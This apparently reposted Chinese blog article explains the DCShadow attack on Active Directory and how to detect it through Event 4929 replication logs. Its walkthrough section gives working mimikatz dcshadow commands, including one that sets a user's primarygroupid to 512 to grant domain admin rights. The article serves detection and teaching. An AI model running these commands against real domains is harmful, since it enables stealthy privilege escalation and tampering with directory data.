基于AD Event日志识别DCShadow攻击

渗透技巧 2个月前 admin
135 0 0

01、简介

DCShadow攻击,是攻击者在获取到域管理员权限后,通过将沦陷的主机伪造成域控,将预先设定的对象或对象属性复制到正在运行的域控服务器中。

DCSync&DCShadow区别在于,DCSync是从域服务器将数据复制出来,而DCShadow是将伪造的数据复制到域服务器。

02、攻击过程示例

假设我们已经拿到了某台服务器SYSTEM权限,并从沦陷的服务器中获取到了域管理员的账号密码。

第一步:使用system权限更改数据

基于AD Event日志识别DCShadow攻击

在获取到system权限后,尝试更改域用户test的属性描述。

lsadump::dcshadow /object:CN=test,CN=Users,DC=evil,DC=com /attribute:description /value:test

基于AD Event日志识别DCShadow攻击

第二步:使用域管理权限执行域数据同步

基于AD Event日志识别DCShadow攻击

切换到域管理员权限,使用mimikatz进行域数据同步。

mimikatz.exe "lsadump::dcshadow  /push"  exit

基于AD Event日志识别DCShadow攻击

第三步:在AD域控,我们看到了test用户描述已经被修改。

基于AD Event日志识别DCShadow攻击

重复以上步骤,我们可以使用下面的方法,修改组id从而将用户改为域管:

lsadump::dcshadow /object:CN=test,CN=Users,DC=evil,DC=com /attribute:primarygroupid  /value:512

03、 DCShadow攻击检测

在域控组策略中开启审核策略,审核目录服务访问(成功和失败),来记录所有的目录服务访问事件。

基于AD Event日志识别DCShadow攻击

在Windows安全日志,EventCode:4929,可以看到源地址:WIN-CIFJV1AK3T6.evil.com发起详细的目录服务复制事件,排除生产域控服务器的主机列表,很容易可以辨别出伪造的域控服务器。

基于AD Event日志识别DCShadow攻击

我们可以根据AD Event日志提取关键特征,通过监视源地址字段,从而可以实时监测DCShadow攻击。

基于AD Event日志识别DCShadow攻击

原文始发于微信公众号(Bypass):基于AD Event日志识别DCShadow攻击

版权声明:admin 发表于 2022年10月8日 上午8:01。
转载请注明:基于AD Event日志识别DCShadow攻击 | CTF导航

相关文章

暂无评论

暂无评论...